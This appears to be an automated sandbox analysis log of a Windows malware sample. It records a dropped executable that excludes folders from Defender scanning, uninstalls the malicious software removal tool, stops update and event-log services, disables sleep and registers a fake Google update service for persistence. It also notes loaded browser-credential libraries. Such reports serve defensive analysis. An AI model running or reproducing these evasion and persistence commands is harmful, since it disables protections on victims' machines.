Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\EHDHDHIECG.exe "C:\ProgramData\EHDHDHIECG.exe"	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 6956 -ip 6956	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6956 -s 2296	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\ProgramData\Google\Chrome\updater.exe	Section loaded: apphelp.dll

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: mozglue.pdbP source: xLgTQcFdIJ.exe, 00000000.00000002.2214633161.000000006F8ED000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: nss3.pdb@ source: xLgTQcFdIJ.exe, 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: my_library.pdbU source: xLgTQcFdIJ.exe, 00000000.00000002.2193657294.0000000004880000.00000040.00001000.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2214417858.000000006D051000.00000002.00000001.01000000.00000007.sdmp, xLgTQcFdIJ.exe, 00000000.00000003.1674473489.0000000004960000.00000004.00001000.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp
